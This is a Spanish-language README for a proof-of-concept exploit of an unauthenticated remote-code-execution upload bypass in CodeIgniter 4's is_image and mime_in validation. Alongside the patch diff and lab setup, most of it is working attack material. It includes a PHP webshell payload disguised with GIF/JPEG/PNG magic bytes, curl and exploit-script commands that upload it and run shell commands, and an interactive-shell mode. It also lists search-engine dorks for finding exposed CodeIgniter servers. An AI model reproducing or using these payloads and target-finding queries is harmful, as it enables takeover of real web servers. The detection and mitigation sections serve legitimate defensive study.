PoC de CVE-2026-63223 — RCE de carga de archivos is_image/mime_in de CodeIgniter 4 (CVSS 9.8). Ejecución remota de código no autenticada mediante bypass de carga de archivos sin restricciones usando bytes mágicos de imagen. Corregido en v4.7.4.
CVSS 9.8 (Crítico) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-434: Subida sin restricciones de un archivo con tipo peligroso
Corregido: CodeIgniter 4 v4.7.4
Aviso: GHSA-mmj4-63m4-r6h5
Las reglas de validación de subida de archivos is_image y mime_in de CodeIgniter 4 inspeccionan únicamente el tipo MIME derivado del contenido (magic bytes), no la extensión del nombre de archivo proporcionada por el cliente.
Un atacante no autenticado puede anteponer magic bytes de imagen (GIF89a, \xFF\xD8\xFF\xE0, \x89PNG…) a un webshell PHP, nombrarlo , y este pasará la validación de o conservando una extensión ejecutable peligrosa. Cuando el archivo subido se almacena en un directorio accesible desde la web, el atacante logra .
shell.phpis_imagemime_inis_image o mime_in sin una verificación independiente de extensión (ext_in).php)La corrección en v4.7.4 añade dos nuevos métodos auxiliares y los integra en las reglas de validación:
is_image — Antes vs Después// BEFORE (vulnerable) — only checks MIME starts with "image/"
if (mb_strpos($type, 'image') !== 0) {
return false;
}
return true;
// AFTER (patched) — also checks extension is an image type
if (mb_strpos($type, 'image') !== 0) {
return false;
}
if ($this->hasInvalidImageClientExtension($file)) { // ← NEW
return false;
}
return true;
mime_in — Antes vs Después// BEFORE (vulnerable) — only checks MIME is in allowed list
if (! in_array($file->getMimeType(), $params, true)) {
return false;
}
return true;
// AFTER (patched) — also checks extension matches detected content
if (! in_array($file->getMimeType(), $params, true)) {
return false;
}
if ($this->hasMismatchedClientExtension($file)) { // ← NEW
return false;
}
return true;
// Rejects when non-empty client extension is NOT an image type
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
if ($clientExtension === '') return false;
$type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
return mb_strpos($type, 'image') !== 0;
}
// Rejects when client extension doesn't match detected content type
private function hasMismatchedClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
if ($clientExtension === '') return false;
return $file->guessExtension() !== $clientExtension;
}
Idea clave: La corrección delega en los métodos existentes Mimes::guessTypeFromExtension() y $file->guessExtension(), añadiendo una segunda capa de validación. Las subidas sin extensión (p. ej. objetos Blob de JavaScript) todavía se aceptan.
CVE-2026-63223-POC/
├── README.md ← this file
├── Dockerfile ← vulnerable lab setup
├── docker-compose.yml ← easy `docker compose up`
├── exploit/
│ └── exploit.py ← Python exploit script
└── vulnerable-app/
├── app/Controllers/Upload.php ← vulnerable controller
├── app/Config/Routes.php ← routing
└── app/Views/
├── upload_form_avatar.php ← is_image bypass form
├── upload_form_doc.php ← mime_in bypass form
└── upload_form_safe.php ← SAFE reference form
# Build & start the vulnerable app
docker compose up -d
# Verify it's running
curl http://localhost:8080/health
# → "CVE-2026-63223 PoC Lab — OK"
# Open in browser
open http://localhost:8080/upload/avatar
| Endpoint | Vulnerabilidad | Validación |
|---|---|---|
/upload/avatar | VULNERABLE | solo is_image |
/upload/document | VULNERABLE | solo mime_in |
/upload/safe | SEGURO (control) | is_image + ext_in |
# Install dependency
pip install requests
# Single command execution
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --cmd "id"
# Interactive shell
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --shell
# Using mime_in vector (with PDF in allowed list, but PHP still passes)
python3 exploit/exploit.py -t http://localhost:8080/upload/document --cmd "uname -a"
# Generate payload
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php
# Verify it's recognized as an image by file(1)
file evil.php
# → evil.php: GIF image data
# Upload to vulnerable is_image endpoint
curl -F "[email protected];type=image/gif" http://localhost:8080/upload/avatar
# Execute
curl http://localhost:8080/uploads/evil.php?c=id
# JPEG variant (also passes is_image)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
--method jpg --filename wp-admin.php --cmd "ls -la /"
# PNG variant (also passes is_image, .phtml extension)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
--method png --filename config.phtml --shell
La superglobal $_FILES de PHP y el objeto UploadedFile de CodeIgniter contienen dos piezas de información separadas:
type / getMimeType() — Derivado de los magic bytes del archivo (basado en el contenido), enviado por el navegador como parte Content-Type de la subida multipartname / getClientName() — El nombre de archivo original del cliente, incluida la extensiónAntes del parche, is_image y mime_in solo verificaban el punto 1. Un atacante envía:
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/gif
GIF89a
<?php system($_REQUEST['c']); ?>
is_image ve image/gif → pasashell.php (se conserva el nombre del cliente).php en el directorio de subidas → RCEDespués del parche, la extensión se verifica de forma cruzada:
hasInvalidImageClientExtension() ve .php → rechazaBusca archivos PHP/PHTML/PHP5 con magic bytes de imagen en tu directorio de subidas:
# Find PHP files that start with image headers
find uploads/ -name "*.php" -exec file {} \; | grep -E '(GIF|JPEG|PNG) image'
# Or check raw bytes
xxd uploads/*.php | head
# CodeIgniter 4 default welcome page
http.title:"Welcome to CodeIgniter"
# CI4 debug toolbar (exposed in development mode)
http.html:"debugbar_loader"
# CI4 default cookie / session fingerprint
http.component:"CodeIgniter"
# CI4-powered apps with file upload endpoints
http.title:"CodeIgniter" http.html:"upload"
# Broad search — any CI4 instance
"CodeIgniter" "X-Powered-By: PHP"
# Default CodeIgniter 4 scaffold
body="CodeIgniter" && body="Welcome to"
# CI4 debug toolbar leaked (dev mode = more likely vulnerable)
body="debugbar_loader" && body="kint-rich"
# File upload forms on CI4
body="enctype=\"multipart/form-data\"" && body="CodeIgniter"
# CI4 session fingerprint in Set-Cookie
header="ci_session"
# Broad CI4 detection
app="CodeIgniter Framework"
# ZoomEye
app:"CodeIgniter" +"file upload"
# Censys
services.http.response.body:"Welcome to CodeIgniter"
ext_in junto a is_image/mime_in<Directory "/var/www/html/public/uploads">
php_admin_flag engine off
</Directory>
Este PoC es solo para fines educativos y pruebas de seguridad autorizadas. La vulnerabilidad fue divulgada de forma responsable y ya está parcheada. No utilices esto contra sistemas que no poseas o para los que no tengas permiso explícito de prueba. Los autores no asumen ninguna responsabilidad por el mal uso.